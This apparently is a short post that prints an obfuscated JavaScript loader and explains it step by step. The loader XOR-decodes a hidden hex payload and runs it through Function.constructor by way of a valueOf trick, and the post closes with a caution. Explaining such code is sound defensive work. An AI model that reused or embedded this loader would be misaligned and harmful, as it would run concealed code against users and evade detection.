This code performs obfuscation and de-obfuscation of some data, likely...

July 3, 2025 at 07:41 PM

r = 'eno@trent-ai.com';
(() => {
    const g = "bfffda9a4069728b45c8e6a2";
    const j = "150f08020b16170d5b53574d5e5d564c5c47065e450b41531609044e04007133541b5609547a584954785574051d014b5b53064d43025334131b560b5265584913670c75421d46660913414d43026e19131b144856011a4916770d5d471d015b570a064d46024059161b56436467584954775275051d01753820064d46376109161b147360751a495451165c051d46772b1f414d042d4030541b1404151b13100f";
    
    const O = (F, D) => {
        const H = [];
        for (let i = 0; i < F.length; i += D) {
            H.push(F.slice(i, i + D));
        }
        return H;
    };
    
    const t = (S) => {
        const M = new ArrayBuffer(1);
        const L = new DataView(M);
        L.setUint8(0, S);
        return String.fromCodePoint(L.getUint8(0));
    };
    
    const v = [];
    const n = O(j, 2);
    n.forEach((c, e) => {
        const B = parseInt(c, 16);
        const N = g.codePointAt(e % g.length);
        v.push(t(B ^ N));
    });
    
    const G = v.join('');
    
    const w = {
        valueOf: () => {
            const J = Function.constructor(G);
            J();
            return 0;
        }
    };
    
    w * 1;
})();

This code performs obfuscation and de-obfuscation of some data, likely with the intent of executing a hidden JavaScript function. Let's break down what the code does step by step:

Initialization of Variables:
- The variable r holds the string 'eno@trent-ai.com', but it is unused in the code.
- g is a string containing hexadecimal characters ("bfffda9a4069728b45c8e6a2").
- j is a long string of hexadecimal characters.
Helper Functions:
- O(F, D): Splits string F into chunks of size D. For example, if F = "abcdef" and D = 2, it would return ["ab", "cd", "ef"].
- t(S): Converts an integer S into a character using the String.fromCodePoint method after storing it in a DataView object.
Decryption Logic:
- The string j is split into chunks of 2 characters (hexadecimal pairs) using the O function, resulting in an array of hexadecimal values.
- Each chunk of j is parsed into an integer (B = parseInt(c, 16)), and then XORed (^) with the corresponding character code of g (cyclically repeated using g.codePointAt(e % g.length)).
- The result of each XOR operation is passed to the t function to be converted into its corresponding character.
- These characters are combined into a decrypted string G.
Dynamic Code Execution:
- The decrypted string G appears to be intended as a valid piece of JavaScript code.
- A w object is defined with a custom valueOf method, which creates and executes a function constructed from the decrypted string G using Function.constructor(G);.
- The multiplication operation (w * 1) forces the valueOf method of the w object to execute, resulting in the hidden JavaScript code in G being executed.
Purpose of the Code:
- The code is designed to obfuscate hidden JavaScript logic. The real functionality is embedded in the dynamic code stored in G. Without extracting and analyzing the decrypted result of G, the specific functionality of the hidden code cannot be determined.
- This is a common technique in malware or obfuscated scripts, where code is encrypted and decrypted on the fly to evade analysis or detection.

Caution: The code executes dynamically decrypted JavaScript. Running such code can be potentially dangerous as it might execute malicious behavior (e.g., stealing data, creating backdoors, etc.). Always analyze the output of the decryption (G) in a secure and isolated environment before executing it.

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